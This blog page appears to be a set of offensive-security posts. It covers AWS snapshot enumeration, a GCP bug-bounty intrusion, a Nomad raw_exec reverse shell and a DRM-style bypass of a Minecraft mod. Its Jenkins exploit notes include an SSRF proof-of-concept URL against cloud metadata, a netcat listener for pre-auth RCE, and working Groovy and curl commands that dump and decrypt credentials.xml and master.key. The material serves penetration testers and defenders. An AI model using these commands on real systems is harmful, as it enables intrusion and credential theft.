Sunday, May 17, 2020

WeirdAAL update - get EC2 snapshots

I watched a good DEF CON video on abusing public AWS Snapshots



I, of course, wanted to check this out. There are tens of thousands of public snapshots in the various regions.  The talk outlines what you can do with these and Bishop Fox released a tool to do it https://github.com/BishopFox/dufflebag. I wanted to script up a few weirdAAL modules to 1) for an AWS keypair you are testing check and see what snapshots you have available 2) for an AWS accountid list public snapshots.  Useful for bug bounty or for monitoring your org for public snapshots.  The account you are using will need at least AmazonEC2ReadOnlyAccess privileges.

Screenshot of the 2nd function below

listing snapshots for a random AWS accountid

You can git clone or git pull to get the updated code from https://github.com/carnal0wnage/weirdAAL

If you just want to do it with the AWS CLI you can use the following shell script:



Monday, April 27, 2020

The Duality of Attackers - Or Why Bad Guys are a Good Thing™

The Duality of Attackers - Or Why Bad Guys are a Good Thing™


It’s no secret I've been on a spiritual journey the last few years. I tell most people it’s fundamentally changed my life and how I look at the world. I’m also a hacker and I’m constantly thinking about how to apply metaphysical or spiritual concepts into my daily life. Because if they are true they should apply broadly and also to many aspects of our lives. One of the key things I’ve learned is that perspective drives an individual's opinion of a situation or event. Is something good? Is something bad? It all depends on the observer’s perspective of the situation.


My first Battalion Commander in the Army when I was having my welcome to the unit meeting said something I've never forgotten. He said “On any given day it’s better to be a Soldier, a DA Civilian, or a Local National (I was in Belgium)”. This stuck with me ever since even though i didn't know what to call it at the time….perspective. 


In late 2019 the Irresponsible Open Source Tools (intentionally not linking) debate took over Infosec twitter for a few weeks. Ever since that time I've been thinking about - “Are attackers a good thing?” Not red teaming, not pentesting but straight up criminals. The real steal your shit type, not the point and laugh type, the wreck all your things, steal all the things, potentially end your business type attackers. There were several people basically stating life would be better if attackers did not exist and I wasn't so sure about this. 


TLDR; I think Yes, attackers are a Good™ thing or rather not a Bad™ thing because they force us to adapt and grow. Growth Through Struggle.


But first, definitions:


Perspective
“The art of drawing solid objects on a two-dimensional surface so as to give the right impression of their height, width, depth, and position in relation to each other when viewed from a particular point.”


“A particular attitude toward or way of regarding something; a point of view.”




Another way to think about perspective and how everyone can have their own is that “Everything (every person, place, thing, situation, event) is fundamentally neutral - they are neutral props with no built in meaning” [1] - the observer of the situation or event gives the event meaning.


The meaning we put, the meaning we assign to these neutral things completely determines the effect that we get out of them. Every situation can be viewed in many different capacities and it solely depends upon how you perceive it and the association that you create with it and your beliefs about the situation or event.

I'm currently fascinated with TV Shows that tackle this subject. Lucifer and Good Omens come to mind where the idea that the "bad" guy is sometimes the good guy if you evaluate their actions and the "good" guy is the bad guy as dictated by their actions or listening to their superiors.


Duality
As hinted at by the word "dual" within it, duality refers to having two parts, often with opposite meanings, like the duality of good and evil.
If there are two sides to a coin, metaphorically speaking, there's a duality. Peace and war, love and hate, up and down, and black and white are dualities. Another term for a duality is a dichotomy. Duality has technical meanings in geometry and physics. In geometry, duality refers to how points and planes have interchangeable roles in projective geometry. In physics, duality is the property of matter and electromagnetic radiation to be understood best through wave theory or particle theory.


“Your truth is truth, my truth is truth, but your truth is not necessarily my truth.”
Understanding and being aware of duality is vital to our human experience, as it allows us to see things from ‘both sides of the coin’ and better understand ourselves and others amid the collective. Most individual’s version of ‘truth’ culminates according to their past and current experiences, social conventions, and worldly views. To put it simply, duality is the nature in which everything holds opposing truths — all of which are true — at least in a relative sense.
From: https://quantumstones.com/what-is-duality-the-doorway-to-all-truths/


Buddha & The Demon - Perspective

Extra Reading on Duality


I’ll be honest, after a lifetime growing up in the United States worrying about the next foreign country boogeyman and over a decade in the Army where the primary motivation was giving soldiers someone to “hate” it’s been quite a journey to try to see things other than a binary right/wrong & good/evil, etc. The intersection and interdependence of good and evil manifested for me (and I think plenty of others) in the following way: we don’t feel we are good unless we are fighting against evil. It’s the American Way! We can feel comfortable and secure in our own goodness only by attacking and destroying the evil outside us. I was, and still am to an extent, looking for evil to vanquish. This interdependence is at the core of Infosec. Without APT groups, criminals, malware, and every other form of virtual boogeyman (aka “the other(s)” or “the bad guys”) most of us have no reason for our Infosec existence.


Thinking of everything as fundamentally neutral has helped me drop some, but not all, of my old vocabulary and has given me space to pause and to think about how I feel about issues at a micro level and macro level. Taking that pause allows me to understand that my perspective on the situation is entirely what matters and that another person could have a TOTALLY different perspective on the situation (and Infosec twitter shows me...quite frequently does).


Criminals, Attackers, Bad People, etc and their actions can have a multitude of perspectives.


Take a company that gets compromised so badly they go out of business. From the perspective of the company CEO this is BAD. From another perspective, perhaps of a competing company CEO, this is GOOD, from the perspective of the attacker they got what they wanted so (GOOD) perhaps a bonus is coming, perhaps their family gets to eat or maybe they just get another BTC in their nano ledger. In-house defenders have “failed their mission” and now are out of work or maybe this was the event that finally prompted management to spend that money they’ve been asking for. Perhaps their failures were so embarrassing they have made it by name in tech-crunch articles and their careers may be over or at least paused. Perhaps they “lost” but their response was good enough that the general public thinks things are ok inside the company anyway.


For Infosec, I’m going to make the case that attackers are GOOD; at least from my perspective (as every opinion piece is). But, I’ll attempt to lay out bullet points for rationale for my current perspective. The following can be summed as “Growth through struggle”:


  • Attackers force defenders to consistently up their game. Attackers constantly innovate to get around the current detection techniques and technologies.
  • Attackers force Red Teams to up their game to keep up with their TTPs.
  • Defenders force attackers and Red Teams to up their game to keep up with current defenses.
  • Without virtual cyber boogeymen a 100+ billion dollar industry would sell less product and be required to innovate less.
  • Attackers force visibility into their politics and perspectives through the investigations into their motivations and TTPs. 
  • They give a large portion of Infosec a “purpose”. I’ve dedicated the last 20 years of my life in various verticals of IT to “keep bad guys out” and I'm positive I'm not alone.


If you’ve made it this far. Thank you! I realize the title is a bit click-baity and not really in line with the idea of duality or perspective but no one would have read “attackers are fundamentally neutral.” Although my hope is that are open to exploring that perspective now. I welcome your thoughts on the subject.


CG

Friday, March 13, 2020

What is your GCP infra worth?...about ~$700 [Bugbounty]


BugBounty story #bugbountytips

A fixed but they didn't pay the bugbounty story...

Timeline:
  • reported 21 Oct 2019
  • validated at Critical  23 Oct 2019
  • validated as fixed 30 Oct 2019
  • Bounty amount stated (IDR 10.000.000 = ~700 USD) 12 Nov 2019
  • Information provided for payment 16 Nov 2019
  • 13 March 2020 - Never paid - blog post posted
  • 19 March 2020  - received bounty of $565.86

There are lots of applications that are SAAS - Shell as a Service. Jupyter Notebook is one of these with its running code feature as well as its terminal functionality.

While I was trolling shodan looking for vulnerable boxes i came across an open Jupyter notebook belonging to Tokopedia. This wasn't obvious at first , but it will become clear how I identified this as you check out the screenshots.

Open Jupyter notebook server

I did a post on what do do when you find a GCP key in a previous post

This is especially important when people leave their GCP service account keys in folders
When you leave your service token in the folder for all to find/use

In this case it was base64 encoded - but easy to fix

service account token b64 decoded
It was also in the error output of one of the jupyter notebooks



I had used the terminal to do some basic poking around to find the owner



Once I identified it was owned by someone with a bug bounty program I figured it was ok to prove access and impact.

Per the GCP blog post once you have the service account token you authenticate and interact with services your token has access to


The handy thing about getting a shell on a GCP compute host is that all the GCP utils are installed and "just work" I actually didn't need to do anything from an external host I was able to start ssh'ing to other hosts from within the jupyter terminal.





Bigquery tables o_0

[+] Bigquery access [+]
bq ls --format=prettyjson --project_id tokopedia-970

Dat billing table yo

I love payments tables


Along the way I searched who this company was.  https://en.wikipedia.org/wiki/Tokopedia

Most interestingly...

In 2017, Tokopedia received $1.1 billion investment from Chinese e-commerce giant Alibaba.[7] Again in 2018, the company secured $1.1 billion funding round led by Chinese e-commerce giant Alibaba Group Holding and Japan's SoftBank Group[8] putting its valuation to about $7B.[9]
So being a good person (tm) I reported the issue and it was assigned a critical severity. The fixed it super quickly and the team was decently responsive until it was fixed. After that it took 2 weeks to get information on the bounty, I promptly provided payment info, but I was never paid and they have stopped responding to my inquiries.


Solutions:
Run in a limited privilege container (doesn't protect against cloud metadata attack)

New versions of Juypter notebook allow for password protecting access. Do that instead of open to all

Monday, December 16, 2019

Devoops: Nomad with raw_exec enabled

"Nomad is a flexible container orchestration tool that enables an organization to easily deploy and manage any containerized or legacy application using a single, unified workflow. Nomad can run a diverse workload of Docker, non-containerized, microservice, and batch applications, and generally offers the following benefits to developers and operators..."

from: https://www.nomadproject.io/intro/index.html

To get a feel for where it fits in the HashiCorp ecosphere take a look at the following graphic:


I'd like to thank Will Butler for letting me write this up after watching him pwn it.

You can get a dev environment up and running using the tutorial here:
https://www.nomadproject.io/intro/getting-started/install.html

The walkthru has you run it as a dev environment which wont bind to 0.0.0.0 so you'll need the following server and client files to get an appropriate environment up and running after you Vagrant up.

server: https://gist.github.com/carnal0wnage/ce4296137414bd16fcca0818208b39b7
client1: https://gist.github.com/carnal0wnage/4abde0ee31f4d730019e6fa04ef6d3b6
client2: https://gist.github.com/carnal0wnage/a4399019a943862e57283c29994ce5da

If you get everything up and running correctly you should be able to connect to the UI on port 4646 and see the example job

$ nomad job run example.nomad
==> Monitoring evaluation "ac9b4b08"
    Evaluation triggered by job "example"
    Evaluation within deployment: "8a7dfe0f"
    Allocation "57e65abe" created: node "a15034e5", group "cache"
    Evaluation status changed: "pending" -> "complete"

==> Evaluation "ac9b4b08" finished with status "complete"

jobs in the nomad UI

servers in the nomad UI

clients in the nomad UI


Leveraging misconfiguration time. Nomad ships with a raw_exec option that is disabled by default.


the raw_exec option allow you to run a command outside isolation on the nomad host.  

"The raw_exec driver can run on all supported operating systems. For security reasons, it is disabled by default. To enable raw exec, the Nomad client configuration must explicitly enable the raw_exec driver in the client's options:"

How can you see if the raw_exec module is enabled on the clients?

You can check it out it the UI:


or by hitting the API endpoint


Let's exploit this thing.

We need to create a job hcl file with our commands. Here is gist with a simple one:


starting the service

Results of our job

job in the UI

Stopping the job

forcefully run the garbage collection

validation the job was deleted

OK let's get a reverse shell. I used the following hcl file:

Reverse shell job

Shell from nomad

-CG

Info on locking nomad down via ACLs:
https://www.nomadproject.io/guides/security/acl.html

Tuesday, May 14, 2019

Minecraft Mod, Follow up, and Java Reflection

After yesterday's post, I received a ton of interesting and creative responses regarding how to get around the mod's restrictions which is what I love about our community. Mubix was the first person to reach out and suggest hijacking calls to Pastebin using /etc/hosts (which I did try but was having some wonky behavior with OSX) and there were other suggestions as well with regards to hijacking DNS and pretending to be the site (Pastebin).

However, my FAVORITE suggestion came from a co-worker of mine (and all around super cool/talented hacker) Matt Langlois. He had an idea for a better workaround. One that didn't require proxying web traffic or for you to even be connected to the internet. He decided to override the code that checks the list of allowed users and inject our UUID into that list. It works beautifully but rather than try to explain the details in this blog post, I suggest you visit his blog post to check out the details.

The gist is that Java reflection allows you to override methods in memory and this is exactly what Matt did. So - go check out the blog post!

Monday, May 13, 2019

Minecraft Mod, Mother's Day, and A Hacker Dad

Over the weekend my wife was feeling under the weather. This meant we were stuck indoors and since she is sick and it's Mother's day weekend - less than ideal situation - I needed to keep my son as occupied as possible so she could rest and recuperate.

When I asked my son what he wanted to do, he responded with a new Minecraft mod he'd seen on one of these YouTuber's channels. The mod allows you be various Marvel superheroes! Except, the mod version we downloaded... well it lacked the suits he'd seen on YouTube (of course it did).

Did my homework, realized he wanted a version that was only released if you were a Patreon supporter. Now, I'm totally cool giving 5 bucks for software that somebody poured their heart into and with having recently watched Endgame... the desire for the Iron man stuff shown in this paid-for-mod was larger than the desire to hold on to my 5 dollars. Went on Patreon, donated the $5, and downloaded the mod. Fired it up, everything appeared fine... then I got this...



What? Seriously? Well, I go back in and re-read the Patreon message...



Ugh, so a couple issues here. One, we wanted access now. Taking a day (maybe) to add us to some magical list is less than ideal (which, the creator still hasn't responded to my emails so perhaps... never?). Secondly, I'm wondering if this is some sort of "donate $5 every month to continue being on the magical list to use this mod". And, if I already paid for software, I just plain old don't like being at the mercy of someone else.

Time to be the hacker dad hero my son needs :P (plus, I wanted to teach him a life lesson about the hacker spirit).

Okay so... a mod is just a jar file... let's open this up with JD-GUI and search for "Unauthorized use".



Each of these handlers has the same code, they all look basically identical, and they are checking to see if you're in a list and if you're not, then you don't get to play.


So where is this list coming from? Looks like SuperHeroesBetaTesterChecker.getList()





What? Are we seriously pulling down some list from pastebin.com to find out who our authorized users are?





Alright.... so... UUIDs? As it turns out, UUIDs map to usernames and that information is totally retrievable and this handy site helps https://mcuuid.net/.


Cool so now I know our UUIDs (and you do too but, again, anyone can find that out so it's really whatever).

Now originally, I tried decompiling, changing the source and recompiling. At one point I even had my environment setup to compile from Eclipse with forge and this source code. But this was taking a couple hours and I needed a quick solution. This is where Burp came into play. Here is what I did.

1. Set Burp to listen on all interfaces under the proxy options
2. Exported its certificate so that both my son and my machines trusted the proxy for https traffic (no cert warnings)
3. Set our machines to use the Burp proxy for all of our traffic for Secure Web Traffic
4. Added a few proxy match & replace rules that replaces one of the other UUIDs with ours (and usernames for dev level access because.. why not)



That's basically it. Once our machines started routing traffic thru my Burp proxy, every response from pastebin.com with those UUIDs automatically had ours added to the list as authorized users and it worked like a charm.



Note that I have not given detailed instructions on those above 4 steps because... there are already tons of tutorials out there if you're not already familiar with Burp & proxying web traffic.

Let's summarize. We paid $5, and we got told we still needed special permission to use this mod. Didn't sit well, wanted to get this working, and figured I could teach my son a little bit about computers/hacking. Now, did I email the creator of the mod? Yes, in fact I let them know what I found and the workaround. Was very upfront about that. Also provided usernames in case the creator did feel like adding them (though I doubt he's feeling super generous). But we had some fun, learned a little, and got to use the mod.

Having said all that, if you're in a position to donate even a few bucks for software that someone spends a good chunk of their time writing, I'd say do it. But if they don't deliver as promised... put on your hacker hat :-).



Tuesday, March 5, 2019

Jenkins - CVE-2018-1000600 PoC



second exploit from the blog post

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF

https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915

This affects the GitHub plugin that is installed by default. However, I learned that when you spin up a new jenkins instance it pulls all the updated plugins (also by default) I'm honestly not sure how often people set update to latest plugin on by default but it does seem to knock down some of this stuff.


exploit works against: GitHub Plugin up to and including 1.29.1


When i installed Jenkins today (25 Feb 19) it installed 1.29.4 by default thus the below does NOT work.

From the blog post:


CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials 
It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)
Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!
PoC:
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai

To get old versions of the plugin and info you can go to  
https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin


download old versions

https://updates.jenkins.io/download/plugins/github-branch-source/
https://updates.jenkins.io/download/plugins/github/

Monday, March 4, 2019

Jenkins - messing with exploits pt3 - CVE-2019-1003000

References:

https://www.exploit-db.com/exploits/46453
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

This post covers the Orange Tsai Jenkins pre-auth exploit

Vuln versions: Jenkins < 2.137 (preauth)

Pipeline: Declarative Plugin up to and including 1.3.4
Pipeline: Groovy Plugin up to and including 2.61
Script Security Plugin up to and including 1.49  (in CG's testing 1.50 is also vuln)

The exploitdb link above lists a nice self contained exploit that will compile the jar for you and serve it up for retrieval by the vulnerable Jenkins server.




nc -l 8888 -vv

whoami
bash: no job control in this shell
 bash-3.2$ jenkins

After Jenkins 2.138 the preauth is gone but if you have  an overall read token and the plugins are still vulnerable you can still exploit that server.  You can just add your cookie to the script and it will hit the url with your authenticated cookie and you can still exploit the server.


Jenkins - Identify IP Addresses of nodes

While doing some research I found several posts on stackoverflow asking how to identify the IP address of nodes.  You might want to know this if you read the decrypting credentials post and managed to get yourself some ssh keys for nodes but you cant actually see the node's IP in the Jenkins UI.

Stackoverflow link: https://stackoverflow.com/questions/14930329/finding-ip-of-a-jenkins-node
blog on setting up a node: https://embeddedartistry.com/blog/2017/12/22/jenkins-configuring-a-linux-slave-node

 There are great answers in the stackoverflow post on using the script console but in the event you found yourself with just the Jenkins directory or no access to the script console it's pretty easy to get this information.

You can just browse to jenkins-ip/computer/$nodename/config.xml. This request will require the extended read permission.



Optionally if you are on the box  or have a backup you can go to jenkins-dir/nodes/$nodename/config.xml





Thursday, February 28, 2019

Jenkins - decrypting credentials.xml

If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:

hashed_pw='$PASSWORDHASH'

passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret


Screenshot below


Code to get the credentials.xml from the script console


Windows

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"





If you just want to do it with curl you can hit the scriptText endpoint and do something like this:


Windows:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Also because this syntax took me a minute to figure out for files in subdirectories:


curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run


*nix

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"


Then to decrypt any passwords:


curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"





If you are in a position where you have the files but no access to jenkins you can use:
https://github.com/tweksteen/jenkins-decrypt

There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55.



Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-)

Edit 8 April 19: This tweet outlines another similar way  
https://twitter.com/netmux/status/1115237815590236160